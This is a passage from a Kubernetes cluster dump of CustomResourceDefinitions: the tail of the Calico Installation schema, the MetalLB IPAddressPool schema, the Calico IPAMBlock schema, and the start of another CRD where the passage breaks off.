                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    initContainers:
                                      description: |-
                                        InitContainers is a list of typha init containers.
                                        If specified, this overrides the specified typha Deployment init containers.
                                        If omitted, the typha Deployment will use its default values for its init containers.
                                      items:
                                        description: TyphaDeploymentInitContainer
                                          is a typha Deployment init container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the typha Deployment init container by name.
                                              Supported values are: typha-certs-key-cert-provisioner
                                            enum:
                                            - typha-certs-key-cert-provisioner
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named typha Deployment init container's resources.
                                              If omitted, the typha Deployment will use its default value for this init container's resources.
                                              If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Requests describes the minimum amount of compute resources required.
                                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                            type: object
                                        required:
                                        - name
                                        type: object
                                      type: array
                                    nodeSelector:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        NodeSelector is the calico-typha pod's scheduling constraints.
                                        If specified, each of the key/value pairs are added to the calico-typha Deployment nodeSelector provided
                                        the key does not already exist in the object's nodeSelector.
                                        If omitted, the calico-typha Deployment will use its default value for nodeSelector.
                                        WARNING: Please note that this field will modify the default calico-typha Deployment nodeSelector.
                                      type: object
                                    terminationGracePeriodSeconds:
                                      description: |-
                                        Optional duration in seconds the pod needs to terminate gracefully. May be decreased in delete request.
                                        Value must be non-negative integer. The value zero indicates stop immediately via
                                        the kill signal (no opportunity to shut down).
                                        If this value is nil, the default grace period will be used instead.
                                        The grace period is the duration in seconds after the processes running in the pod are sent
                                        a termination signal and the time when the processes are forcibly halted with a kill signal.
                                        Set this value longer than the expected cleanup time for your process.
                                        Defaults to 30 seconds.
                                      format: int64
                                      type: integer
                                    tolerations:
                                      description: |-
                                        Tolerations is the typha pod's tolerations.
                                        If specified, this overrides any tolerations that may be set on the typha Deployment.
                                        If omitted, the typha Deployment will use its default value for tolerations.
                                        WARNING: Please note that this field will override the default calico-typha Deployment tolerations.
                                      items:
                                        description: |-
                                          The pod this Toleration is attached to tolerates any taint that matches
                                          the triple <key,value,effect> using the matching operator <operator>.
                                        properties:
                                          effect:
                                            description: |-
                                              Effect indicates the taint effect to match. Empty means match all taint effects.
                                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                            type: string
                                          key:
                                            description: |-
                                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                            type: string
                                          operator:
                                            description: |-
                                              Operator represents a key's relationship to the value.
                                              Valid operators are Exists and Equal. Defaults to Equal.
                                              Exists is equivalent to wildcard for value, so that a pod can
                                              tolerate all taints of a particular category.
                                            type: string
                                          tolerationSeconds:
                                            description: |-
                                              TolerationSeconds represents the period of time the toleration (which must be
                                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                                              negative values will be treated as 0 (evict immediately) by the system.
                                            format: int64
                                            type: integer
                                          value:
                                            description: |-
                                              Value is the taint value the toleration matches to.
                                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                                            type: string
                                        type: object
                                      type: array
                                    topologySpreadConstraints:
                                      description: |-
                                        TopologySpreadConstraints describes how a group of pods ought to spread across topology
                                        domains. Scheduler will schedule pods in a way which abides by the constraints.
                                        All topologySpreadConstraints are ANDed.
                                      items:
                                        description: TopologySpreadConstraint specifies
                                          how to spread matching pods among the given
                                          topology.
                                        properties:
                                          labelSelector:
                                            description: |-
                                              LabelSelector is used to find matching pods.
                                              Pods that match this label selector are counted to determine the number of pods
                                              in their corresponding topology domain.
                                            properties:
                                              matchExpressions:
                                                description: matchExpressions is a
                                                  list of label selector requirements.
                                                  The requirements are ANDed.
                                                items:
                                                  description: |-
                                                    A label selector requirement is a selector that contains values, a key, and an operator that
                                                    relates the key and values.
                                                  properties:
                                                    key:
                                                      description: key is the label
                                                        key that the selector applies
                                                        to.
                                                      type: string
                                                    operator:
                                                      description: |-
                                                        operator represents a key's relationship to a set of values.
                                                        Valid operators are In, NotIn, Exists and DoesNotExist.
                                                      type: string
                                                    values:
                                                      description: |-
                                                        values is an array of string values. If the operator is In or NotIn,
                                                        the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                        the values array must be empty. This array is replaced during a strategic
                                                        merge patch.
                                                      items:
                                                        type: string
                                                      type: array
                                                      x-kubernetes-list-type: atomic
                                                  required:
                                                  - key
                                                  - operator
                                                  type: object
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              matchLabels:
                                                additionalProperties:
                                                  type: string
                                                description: |-
                                                  matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                  map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                  operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                type: object
                                            type: object
                                            x-kubernetes-map-type: atomic
                                          matchLabelKeys:
                                            description: |-
                                              MatchLabelKeys is a set of pod label keys to select the pods over which
                                              spreading will be calculated. The keys are used to lookup values from the
                                              incoming pod labels, those key-value labels are ANDed with labelSelector
                                              to select the group of existing pods over which spreading will be calculated
                                              for the incoming pod. The same key is forbidden to exist in both MatchLabelKeys and LabelSelector.
                                              MatchLabelKeys cannot be set when LabelSelector isn't set.
                                              Keys that don't exist in the incoming pod labels will
                                              be ignored. A null or empty list means only match against labelSelector.
                                              This is a beta field and requires the MatchLabelKeysInPodTopologySpread feature gate to be enabled (enabled by default).
                                            items:
                                              type: string
                                            type: array
                                            x-kubernetes-list-type: atomic
                                          maxSkew:
                                            description: |-
                                              MaxSkew describes the degree to which pods may be unevenly distributed.
                                              When `whenUnsatisfiable=DoNotSchedule`, it is the maximum permitted difference
                                              between the number of matching pods in the target topology and the global minimum.
                                              The global minimum is the minimum number of matching pods in an eligible domain
                                              or zero if the number of eligible domains is less than MinDomains.
                                              For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                              labelSelector spread as 2/2/1:
                                              In this case, the global minimum is 1.
                                              | zone1 | zone2 | zone3 |
                                              |  P P  |  P P  |   P   |
                                              - if MaxSkew is 1, incoming pod can only be scheduled to zone3 to become 2/2/2;
                                              scheduling it onto zone1(zone2) would make the ActualSkew(3-1) on zone1(zone2)
                                              violate MaxSkew(1).
                                              - if MaxSkew is 2, incoming pod can be scheduled onto any zone.
                                              When `whenUnsatisfiable=ScheduleAnyway`, it is used to give higher precedence
                                              to topologies that satisfy it.
                                              It's a required field. Default value is 1 and 0 is not allowed.
                                            format: int32
                                            type: integer
                                          minDomains:
                                            description: |-
                                              MinDomains indicates a minimum number of eligible domains.
                                              When the number of eligible domains with matching topology keys is less than minDomains,
                                              Pod Topology Spread treats "global minimum" as 0, and then the calculation of Skew is performed.
                                              And when the number of eligible domains with matching topology keys equals or greater than minDomains,
                                              this value has no effect on scheduling.
                                              As a result, when the number of eligible domains is less than minDomains,
                                              scheduler won't schedule more than maxSkew Pods to those domains.
                                              If value is nil, the constraint behaves as if MinDomains is equal to 1.
                                              Valid values are integers greater than 0.
                                              When value is not nil, WhenUnsatisfiable must be DoNotSchedule.
                                              For example, in a 3-zone cluster, MaxSkew is set to 2, MinDomains is set to 5 and pods with the same
                                              labelSelector spread as 2/2/2:
                                              | zone1 | zone2 | zone3 |
                                              |  P P  |  P P  |  P P  |
                                              The number of domains is less than 5(MinDomains), so "global minimum" is treated as 0.
                                              In this situation, new pod with the same labelSelector cannot be scheduled,
                                              because computed skew will be 3(3 - 0) if new Pod is scheduled to any of the three zones,
                                              it will violate MaxSkew.
                                            format: int32
                                            type: integer
                                          nodeAffinityPolicy:
                                            description: |-
                                              NodeAffinityPolicy indicates how we will treat Pod's nodeAffinity/nodeSelector
                                              when calculating pod topology spread skew. Options are:
                                              - Honor: only nodes matching nodeAffinity/nodeSelector are included in the calculations.
                                              - Ignore: nodeAffinity/nodeSelector are ignored. All nodes are included in the calculations.
                                              If this value is nil, the behavior is equivalent to the Honor policy.
                                              This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                            type: string
                                          nodeTaintsPolicy:
                                            description: |-
                                              NodeTaintsPolicy indicates how we will treat node taints when calculating
                                              pod topology spread skew. Options are:
                                              - Honor: nodes without taints, along with tainted nodes for which the incoming pod
                                              has a toleration, are included.
                                              - Ignore: node taints are ignored. All nodes are included.
                                              If this value is nil, the behavior is equivalent to the Ignore policy.
                                              This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                            type: string
                                          topologyKey:
                                            description: |-
                                              TopologyKey is the key of node labels. Nodes that have a label with this key
                                              and identical values are considered to be in the same topology.
                                              We consider each <key, value> as a "bucket", and try to put balanced number
                                              of pods into each bucket.
                                              We define a domain as a particular instance of a topology.
                                              Also, we define an eligible domain as a domain whose nodes meet the requirements of
                                              nodeAffinityPolicy and nodeTaintsPolicy.
                                              e.g. If TopologyKey is "kubernetes.io/hostname", each Node is a domain of that topology.
                                              And, if TopologyKey is "topology.kubernetes.io/zone", each zone is a domain of that topology.
                                              It's a required field.
                                            type: string
                                          whenUnsatisfiable:
                                            description: |-
                                              WhenUnsatisfiable indicates how to deal with a pod if it doesn't satisfy
                                              the spread constraint.
                                              - DoNotSchedule (default) tells the scheduler not to schedule it.
                                              - ScheduleAnyway tells the scheduler to schedule the pod in any location,
                                                but giving higher precedence to topologies that would help reduce the
                                                skew.
                                              A constraint is considered "Unsatisfiable" for an incoming pod
                                              if and only if every possible node assignment for that pod would violate
                                              "MaxSkew" on some topology.
                                              For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                              labelSelector spread as 3/1/1:
                                              | zone1 | zone2 | zone3 |
                                              | P P P |   P   |   P   |
                                              If WhenUnsatisfiable is set to DoNotSchedule, incoming pod can only be scheduled
                                              to zone2(zone3) to become 3/2/1(3/1/2) as ActualSkew(2-1) on zone2(zone3) satisfies
                                              MaxSkew(1). In other words, the cluster can still be imbalanced, but scheduler
                                              won't make it *more* imbalanced.
                                              It's a required field.
                                            type: string
                                        required:
                                        - maxSkew
                                        - topologyKey
                                        - whenUnsatisfiable
                                        type: object
                                      type: array
                                  type: object
                              type: object
                          type: object
                      type: object
                    typhaMetricsPort:
                      description: TyphaMetricsPort specifies which port calico/typha
                        serves prometheus metrics on. By default, metrics are not
                        enabled.
                      format: int32
                      type: integer
                    variant:
                      description: |-
                        Variant is the product to install - one of Calico or TigeraSecureEnterprise
                        Default: Calico
                      enum:
                      - Calico
                      - TigeraSecureEnterprise
                      type: string
                    windowsNodes:
                      description: Windows Configuration
                      properties:
                        cniBinDir:
                          description: |-
                            CNIBinDir is the path to the CNI binaries directory on Windows, it must match what is used as 'bin_dir' under
                            [plugins]
                              [plugins."io.containerd.grpc.v1.cri"]
                                [plugins."io.containerd.grpc.v1.cri".cni]
                            on the containerd 'config.toml' file on the Windows nodes.
                          type: string
                        cniConfigDir:
                          description: |-
                            CNIConfigDir is the path to the CNI configuration directory on Windows, it must match what is used as 'conf_dir' under
                            [plugins]
                              [plugins."io.containerd.grpc.v1.cri"]
                                [plugins."io.containerd.grpc.v1.cri".cni]
                            on the containerd 'config.toml' file on the Windows nodes.
                          type: string
                        cniLogDir:
                          description: CNILogDir is the path to the Calico CNI logs
                            directory on Windows.
                          type: string
                        vxlanAdapter:
                          description: VXLANAdapter is the Network Adapter used for
                            VXLAN, leave blank for primary NIC
                          type: string
                        vxlanMACPrefix:
                          description: VXLANMACPrefix is the prefix used when generating
                            MAC addresses for virtual NICs
                          pattern: ^[0-9A-Fa-f]{2}-[0-9A-Fa-f]{2}$
                          type: string
                      type: object
                  type: object
                conditions:
                  description: |-
                    Conditions represents the latest observed set of conditions for the component. A component may be one or more of
                    Ready, Progressing, Degraded or other customer types.
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
                          reason contains a programmatic identifier indicating the reason for the condition's last transition.
                          Producers of specific condition types may define expected values and meanings for this field,
                          and whether the values are considered a guaranteed API.
                          The value should be a CamelCase string.
                          This field may not be empty.
                        maxLength: 1024
                        minLength: 1
                        pattern: ^[A-Za-z]([A-Za-z0-9_,:]*[A-Za-z0-9_])?$
                        type: string
                      status:
                        description: status of the condition, one of True, False,
                          Unknown.
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: type of condition in CamelCase or in foo.example.com/CamelCase.
                        maxLength: 316
                        pattern: ^([a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*/)?(([A-Za-z0-9][-A-Za-z0-9_.]*)?[A-Za-z0-9])$
                        type: string
                    required:
                    - lastTransitionTime
                    - message
                    - reason
                    - status
                    - type
                    type: object
                  type: array
                imageSet:
                  description: |-
                    ImageSet is the name of the ImageSet being used, if there is an ImageSet
                    that is being used. If an ImageSet is not being used then this will not be set.
                  type: string
                mtu:
                  description: |-
                    MTU is the most recently observed value for pod network MTU. This may be an explicitly
                    configured value, or based on Calico's native auto-detetion.
                  format: int32
                  type: integer
                variant:
                  description: Variant is the most recently observed installed variant
                    - one of Calico or TigeraSecureEnterprise
                  enum:
                  - Calico
                  - TigeraSecureEnterprise
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: Installation
      listKind: InstallationList
      plural: installations
      singular: installation
    conditions:
    - lastTransitionTime: "2025-10-19T16:10:27Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-10-19T16:10:29Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
    name: ipaddresspools.metallb.io
    resourceVersion: "57885"
    uid: b153b6d3-cb91-48ff-9492-25300c27fe6e
  spec:
    conversion:
      strategy: None
    group: metallb.io
    names:
      kind: IPAddressPool
      listKind: IPAddressPoolList
      plural: ipaddresspools
      singular: ipaddresspool
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .spec.autoAssign
        name: Auto Assign
        type: boolean
      - jsonPath: .spec.avoidBuggyIPs
        name: Avoid Buggy IPs
        type: boolean
      - jsonPath: .spec.addresses
        name: Addresses
        type: string
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: |-
            IPAddressPool represents a pool of IP addresses that can be allocated
            to LoadBalancer services.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: IPAddressPoolSpec defines the desired state of IPAddressPool.
              properties:
                addresses:
                  description: |-
                    A list of IP address ranges over which MetalLB has authority.
                    You can list multiple ranges in a single pool, they will all share the
                    same settings. Each range can be either a CIDR prefix, or an explicit
                    start-end range of IPs.
                  items:
                    type: string
                  type: array
                autoAssign:
                  default: true
                  description: |-
                    AutoAssign flag used to prevent MetallB from automatic allocation
                    for a pool.
                  type: boolean
                avoidBuggyIPs:
                  default: false
                  description: |-
                    AvoidBuggyIPs prevents addresses ending with .0 and .255
                    to be used by a pool.
                  type: boolean
                serviceAllocation:
                  description: |-
                    AllocateTo makes ip pool allocation to specific namespace and/or service.
                    The controller will use the pool with lowest value of priority in case of
                    multiple matches. A pool with no priority set will be used only if the
                    pools with priority can't be used. If multiple matching IPAddressPools are
                    available it will check for the availability of IPs sorting the matching
                    IPAddressPools by priority, starting from the highest to the lowest. If
                    multiple IPAddressPools have the same priority, choice will be random.
                  properties:
                    namespaceSelectors:
                      description: |-
                        NamespaceSelectors list of label selectors to select namespace(s) for ip pool,
                        an alternative to using namespace list.
                      items:
                        description: |-
                          A label selector is a label query over a set of resources. The result of matchLabels and
                          matchExpressions are ANDed. An empty label selector matches all objects. A null
                          label selector matches no objects.
                        properties:
                          matchExpressions:
                            description: matchExpressions is a list of label selector
                              requirements. The requirements are ANDed.
                            items:
                              description: |-
                                A label selector requirement is a selector that contains values, a key, and an operator that
                                relates the key and values.
                              properties:
                                key:
                                  description: key is the label key that the selector
                                    applies to.
                                  type: string
                                operator:
                                  description: |-
                                    operator represents a key's relationship to a set of values.
                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                  type: string
                                values:
                                  description: |-
                                    values is an array of string values. If the operator is In or NotIn,
                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                    the values array must be empty. This array is replaced during a strategic
                                    merge patch.
                                  items:
                                    type: string
                                  type: array
                                  x-kubernetes-list-type: atomic
                              required:
                              - key
                              - operator
                              type: object
                            type: array
                            x-kubernetes-list-type: atomic
                          matchLabels:
                            additionalProperties:
                              type: string
                            description: |-
                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                            type: object
                        type: object
                        x-kubernetes-map-type: atomic
                      type: array
                    namespaces:
                      description: Namespaces list of namespace(s) on which ip pool
                        can be attached.
                      items:
                        type: string
                      type: array
                    priority:
                      description: Priority priority given for ip pool while ip allocation
                        on a service.
                      type: integer
                    serviceSelectors:
                      description: |-
                        ServiceSelectors list of label selector to select service(s) for which ip pool
                        can be used for ip allocation.
                      items:
                        description: |-
                          A label selector is a label query over a set of resources. The result of matchLabels and
                          matchExpressions are ANDed. An empty label selector matches all objects. A null
                          label selector matches no objects.
                        properties:
                          matchExpressions:
                            description: matchExpressions is a list of label selector
                              requirements. The requirements are ANDed.
                            items:
                              description: |-
                                A label selector requirement is a selector that contains values, a key, and an operator that
                                relates the key and values.
                              properties:
                                key:
                                  description: key is the label key that the selector
                                    applies to.
                                  type: string
                                operator:
                                  description: |-
                                    operator represents a key's relationship to a set of values.
                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                  type: string
                                values:
                                  description: |-
                                    values is an array of string values. If the operator is In or NotIn,
                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                    the values array must be empty. This array is replaced during a strategic
                                    merge patch.
                                  items:
                                    type: string
                                  type: array
                                  x-kubernetes-list-type: atomic
                              required:
                              - key
                              - operator
                              type: object
                            type: array
                            x-kubernetes-list-type: atomic
                          matchLabels:
                            additionalProperties:
                              type: string
                            description: |-
                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                            type: object
                        type: object
                        x-kubernetes-map-type: atomic
                      type: array
                  type: object
              required:
              - addresses
              type: object
            status:
              description: IPAddressPoolStatus defines the observed state of IPAddressPool.
              properties:
                assignedIPv4:
                  description: AssignedIPv4 is the number of assigned IPv4 addresses.
                  format: int64
                  type: integer
                assignedIPv6:
                  description: AssignedIPv6 is the number of assigned IPv6 addresses.
                  format: int64
                  type: integer
                availableIPv4:
                  description: AvailableIPv4 is the number of available IPv4 addresses.
                  format: int64
                  type: integer
                availableIPv6:
                  description: AvailableIPv6 is the number of available IPv6 addresses.
                  format: int64
                  type: integer
              required:
              - assignedIPv4
              - assignedIPv6
              - availableIPv4
              - availableIPv6
              type: object
          required:
          - spec
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: IPAddressPool
      listKind: IPAddressPoolList
      plural: ipaddresspools
      singular: ipaddresspool
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"ipamblocks.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"IPAMBlock","listKind":"IPAMBlockList","plural":"ipamblocks","singular":"ipamblock"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"IPAMBlockSpec contains the specification for an IPAMBlock resource.","properties":{"affinity":{"description":"Affinity of the block, if this block has one. If set, it will be of the form\n\"host:\u003chostname\u003e\". If not set, this block is not affine to a host.","type":"string"},"allocations":{"description":"Array of allocations in-use within this block. nil entries mean the allocation is free.\nFor non-nil entries at index i, the index is the ordinal of the allocation within this block\nand the value is the index of the associated attributes in the Attributes array.","items":{"nullable":true,"type":"integer"},"type":"array"},"attributes":{"description":"Attributes is an array of arbitrary metadata associated with allocations in the block. To find\nattributes for a given allocation, use the value of the allocation's entry in the Allocations array\nas the index of the element in this array.","items":{"properties":{"handle_id":{"type":"string"},"secondary":{"additionalProperties":{"type":"string"},"type":"object"}},"type":"object"},"type":"array"},"cidr":{"description":"The block's CIDR.","type":"string"},"deleted":{"description":"Deleted is an internal boolean used to workaround a limitation in the Kubernetes API whereby\ndeletion will not return a conflict error if the block has been updated. It should not be set manually.","type":"boolean"},"sequenceNumber":{"default":0,"description":"We store a sequence number that is updated each time the block is written.\nEach allocation will also store the sequence number of the block at the time of its creation.\nWhen releasing an IP, passing the sequence number associated with the allocation allows us\nto protect against a race condition and ensure the IP hasn't been released and re-allocated\nsince the release request.","format":"int64","type":"integer"},"sequenceNumberForAllocation":{"additionalProperties":{"format":"int64","type":"integer"},"description":"Map of allocated ordinal within the block to sequence number of the block at\nthe time of allocation. Kubernetes does not allow numerical keys for maps, so\nthe key is cast to a string.","type":"object"},"strictAffinity":{"description":"StrictAffinity on the IPAMBlock is deprecated and no longer used by the code. Use IPAMConfig StrictAffinity instead.","type":"boolean"},"unallocated":{"description":"Unallocated is an ordered list of allocations which are free in the block.","items":{"type":"integer"},"type":"array"}},"required":["allocations","attributes","cidr","strictAffinity","unallocated"],"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: ipamblocks.crd.projectcalico.org
    resourceVersion: "6820668"
    uid: 319754ea-a882-4fb9-ae36-040d8038eba6
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: IPAMBlock
      listKind: IPAMBlockList
      plural: ipamblocks
      singular: ipamblock
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: IPAMBlockSpec contains the specification for an IPAMBlock
                resource.
              properties:
                affinity:
                  description: |-
                    Affinity of the block, if this block has one. If set, it will be of the form
                    "host:<hostname>". If not set, this block is not affine to a host.
                  type: string
                allocations:
                  description: |-
                    Array of allocations in-use within this block. nil entries mean the allocation is free.
                    For non-nil entries at index i, the index is the ordinal of the allocation within this block
                    and the value is the index of the associated attributes in the Attributes array.
                  items:
                    nullable: true
                    type: integer
                  type: array
                attributes:
                  description: |-
                    Attributes is an array of arbitrary metadata associated with allocations in the block. To find
                    attributes for a given allocation, use the value of the allocation's entry in the Allocations array
                    as the index of the element in this array.
                  items:
                    properties:
                      handle_id:
                        type: string
                      secondary:
                        additionalProperties:
                          type: string
                        type: object
                    type: object
                  type: array
                cidr:
                  description: The block's CIDR.
                  type: string
                deleted:
                  description: |-
                    Deleted is an internal boolean used to workaround a limitation in the Kubernetes API whereby
                    deletion will not return a conflict error if the block has been updated. It should not be set manually.
                  type: boolean
                sequenceNumber:
                  default: 0
                  description: |-
                    We store a sequence number that is updated each time the block is written.
                    Each allocation will also store the sequence number of the block at the time of its creation.
                    When releasing an IP, passing the sequence number associated with the allocation allows us
                    to protect against a race condition and ensure the IP hasn't been released and re-allocated
                    since the release request.
                  format: int64
                  type: integer
                sequenceNumberForAllocation:
                  additionalProperties:
                    format: int64
                    type: integer
                  description: |-
                    Map of allocated ordinal within the block to sequence number of the block at
                    the time of allocation. Kubernetes does not allow numerical keys for maps, so
                    the key is cast to a string.
                  type: object
                strictAffinity:
                  description: StrictAffinity on the IPAMBlock is deprecated and no
                    longer used by the code. Use IPAMConfig StrictAffinity instead.
                  type: boolean
                unallocated:
                  description: Unallocated is an ordered list of allocations which
                    are free in the block.
                  items:
                    type: integer
                  type: array
              required:
              - allocations
              - attributes
              - cidr
              - strictAffinity
              - unallocated
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: IPAMBlock
      listKind: IPAMBlockList
      plural: ipamblocks
      singular: ipamblock
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
